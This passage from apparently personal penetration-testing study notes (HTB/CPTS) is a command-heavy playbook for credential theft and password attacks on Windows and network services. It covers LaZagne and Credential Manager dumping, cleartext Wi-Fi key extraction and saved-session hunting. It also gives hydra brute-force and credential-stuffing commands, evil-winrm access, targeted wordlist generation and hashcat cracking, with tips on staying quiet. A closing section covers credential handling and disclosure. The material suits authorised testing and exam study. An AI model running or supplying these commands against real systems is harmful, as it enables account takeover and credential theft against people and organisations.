What to look for: password managers, browser vaults, saved RDP/WinSCP/PuTTY sessions, Credential Manager — all cheaper than cracking.
Extract:
start LaZagne.exe all :: WinSCP, FileZilla, browsers, RDP mgr, Git, Wi-Fi — dozens of apps
cmdkey /list :: enumerated Credential Manager blobs
vaultcmd /listcreds:"Windows Credentials" /all
:: saved-cred reuse without knowing the password:
runas /savecred /user:%DOMAIN%\svc-backup "cmd.exe" :: only works if cred was saved WITH /savecred
:: Wi-Fi profiles hold cleartext PSKs:
netsh wlan show profile
netsh wlan show profile name="CorpWifi" key=clear :: Key Content = plaintext PSK
[!tools] Stage this LaZagne.exe (SHA-256 · GPG signature)
# KeePass DB → master password (mode row 13400 is in §2's table)
keepass2john Database.kdbx > kp.hash # add the -k <keyfile> path if a keyfile is required
# DPAPI: pypykatz/LSASS hands you the user's masterkey → decrypt Chrome/RDP/CredMan blobs (§DPAPI above)
Saved-session hunting — SessionGopher pulls PuTTY/WinSCP/FileZilla/SuperPuTTY saved sessions (often with plaintext or trivially-decryptable passwords) from a host or across the domain:
Invoke-SessionGopher -Target SQL01 -u "$U" -p "$P" -Domain $DOMAIN # remote over WMI/SMB
[!tip] Hunt before you crack LaZagne + Credential Manager routinely beat a GPU on time-to-first-cred. On opsec-sensitive boxes prefer GhostPack SeatBelt/SharpChrome over LaZagne’s loud “run everything”. A KeePass
.kdbxwith no crackable master is still worth grabbing — the DPAPI masterkey from LSASS may unlock it. Full app list: 7 - Credential Hunting in Windows.
🔨 Network-service brute-force matrix (hydra)
What to look for: an exposed auth surface with no lockout policy (confirm first — §0). Use a validated user list + a targeted/mutated password list. This is the loud, online counterpart to cracking a captured hash.
Attack (per service):
hydra -L users.txt -P pass.txt ssh://$IP -t 4 # SSH (drop -t if conns fail)
hydra -L users.txt -P pass.txt ftp://$IP
hydra -L users.txt -P pass.txt rdp://$IP -t 1 -W 3 # RDP: slow/noisy by design, throttle
hydra -L users.txt -P pass.txt smb://$IP # SMB (see fallback below)
hydra -l admin -P pass.txt $IP http-get /admin # HTTP Basic-auth
hydra -l admin -P pass.txt $IP http-post-form \
"/login.php:user=^USER^&pass=^PASS^:F=incorrect" # HTTP form (F= a failure string)
hydra -C user_pass.txt ssh://$IP # credential STUFFING: user:pass combo file
# hydra chokes on SMBv3 ("invalid reply from target") → use nxc or Metasploit, which speak modern dialects
nxc smb $IP -u users.txt -p pass.txt # add --no-bruteforce to pair line-by-line
msf6 > use auxiliary/scanner/smb/smb_login # set user_file/pass_file/rhosts; STOP_ON_SUCCESS, BRUTEFORCE_SPEED
# validated logins → interact:
evil-winrm -i $IP -u "$U" -p "$P" # (Pwn3d!) on winrm = code exec
smbclient -U "$U" "//$IP/SHARENAME" # xfreerdp /v:$IP /u:"$U" /p:"$P" for RDP
[!warning] Watch out Every failed guess writes an event (SMB/RDP → 4625, spikes fast) and a real lockout policy will lock the account, not just fail — brute force is the opposite of §5’s careful one-password spray.
-C(combo/stuffing) with a DefaultCreds list is quieter and higher-hit-rate than a full-L×-Pcross-product — start there. A(Pwn3d!)on WinRM but a “not active for remote desktop” on RDP means the cred is still good for SMB/WinRM — don’t discard a partial hit. Modern hydra can’t parse SMBv3; keepnxc/smb_loginas the fallback.
🧬 Wordlist & rule crafting (feed the crackers something that actually hits)
What to look for: policy-compliant human passwords = a short base word + predictable mutation (capitalise, leet, append a year/!). Don’t blind-brute a ?a?a?a… mask — mutate a targeted base list instead.
Stock wordlists (know your paths):
/usr/share/wordlists/rockyou.txt.gz # 14.3M real leaked passwords — the default
gunzip /usr/share/wordlists/rockyou.txt.gz
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt
/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt # xato frequency-ranked
/usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv # device defaults
Lists live in SecLists; the xato-net set is frequency-ranked so the top of the file hits first.
Build the base list + mutate:
# harvest a company-specific base list straight off their site
cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w base.wordlist # depth 4, min-len 6
cupp -i # interactive: target-specific list from a person's details (kids, pets, dates)
# author a custom rule file (one rule per line, applied to every base word)
cat custom.rule
# : do nothing u uppercase all
# c Capitalise first sXY replace X→Y (e.g. so0 sa@)
# $! append '!' ^1 prepend '1'
# c so0 $! chain: Cap + o→0 + append !
# generate the mutated list WITHOUT cracking (--stdout = pure generator)
hashcat --force base.wordlist -r custom.rule --stdout | sort -u > mutated.list
wc -l mutated.list # feed mutated.list straight into a crack or a spray
# or lean on the shipped rulesets (best coverage-to-runtime = targeted base × best64)
ls /usr/share/hashcat/rules/ # best64 d3ad0ne dive leetspeak rockyou-30000 toggles*
hashcat -m 1000 -a 0 hashes.txt base.wordlist -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 -a 0 hashes.txt base.wordlist -r OneRuleToRuleThemAll.rule # big, slow, thorough
Rules ladder: best64 (fast, 64 rules) → dive (heavy) → OneRuleToRuleThemAll (exhaustive, hours on GPU). Base-list builders: CeWL, cupp.
[!tip]
--stdoutis a free, disposable wordlist factoryhashcat … -r rules --stdoutemits candidates instead of cracking — perfect for generating a spray list, previewing what a rule set does, or piping into another tool. A tiny custom.ruleon a CeWL base list reliably out-produces rockyou against real corp passwords;best64.ruleis the strongest general-purpose default before reaching fordive/rockyou-30000. Rule reference + more functions: 3 - Password Mutations & Wordlist Attacks, hashcat-cheatsheet.
[!note] Base-list sources CeWL (target’s own website), the org’s blacklist terms in reverse (company name + season + year —
Inlanefreight2026!is technically compliant), and username-anarchy output (§4) all make better base words than a generic dump. Mangle those with rules; save raw?amasks for when you know the structure.
🧹 Policy-Filter a Wordlist Before You Spray
What to look for → you profiled a target and generated a big candidate list (CUPP can emit ~46,000 for one person). Don’t waste a Hydra run on passwords the domain policy would reject — trim to policy-compliant first.
# keep only: ≥6 chars, has upper, has lower, has digit, ≥2 special chars
grep -E '^.{6,}$' list.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' \
| grep -E '([!@#$%^&*].*){2,}' > filtered.txt # 46,790 → ~7,900
hydra -L users.txt -P filtered.txt $IP http-post-form \
"/login:user=^USER^&pass=^PASS^:F=Invalid"
[!tip] The
([class].*){2,}quantifier is the idiom for “at least N chars from a set”. Derive the username convention first (theHarvester +exiftoolon public PDFs →first.last/flast) so-Lisn’t a blind permutation. Deep dive: 7 - Custom Wordlists.
🧾 Credential handling & OPSEC (hand-off to reporting)
What to look for: every cracked/found credential is client data with blast radius — treat it like evidence, not notes.
- Vault immediately: recovered creds go into the engagement secrets store (dedicated vault, e.g. an encrypted KeePassXC DB or the team password manager), never plaintext into Obsidian notes, screenshots, or the report. In the System Modifications Log record
Password: <REDACTED>(Stage 11). - Report hashes, not passwords: the Domain Password Analysis appendix reports statistics (cracked %, top patterns); individual cracked passwords appear truncated (
Summer…!) or not at all. - Track provenance: which host/share/DC each cred came from — you cannot write remediation for “password reuse” without knowing where it was stored in cleartext.
- Disclose + rotate: every credential you recovered was, by definition, exposed — it goes on the client disclosure list for forced rotation at close-out (Stage 11 cleanup).
[!tip] CPTS exam tip In the exam, passwords are flags, so capture them — but still practise the real-world discipline: note host + source + timestamp for every cred, keep one authoritative cred table per domain, and never spray a found password domain-wide without re-checking §0’s policy (found creds are often service accounts with stricter PSO lockouts).
[!navigation] Continue the attack flow Previous: Stage 07 — ADCS and Certificate Abuse
Dashboard: HTB Pentest Attack Flow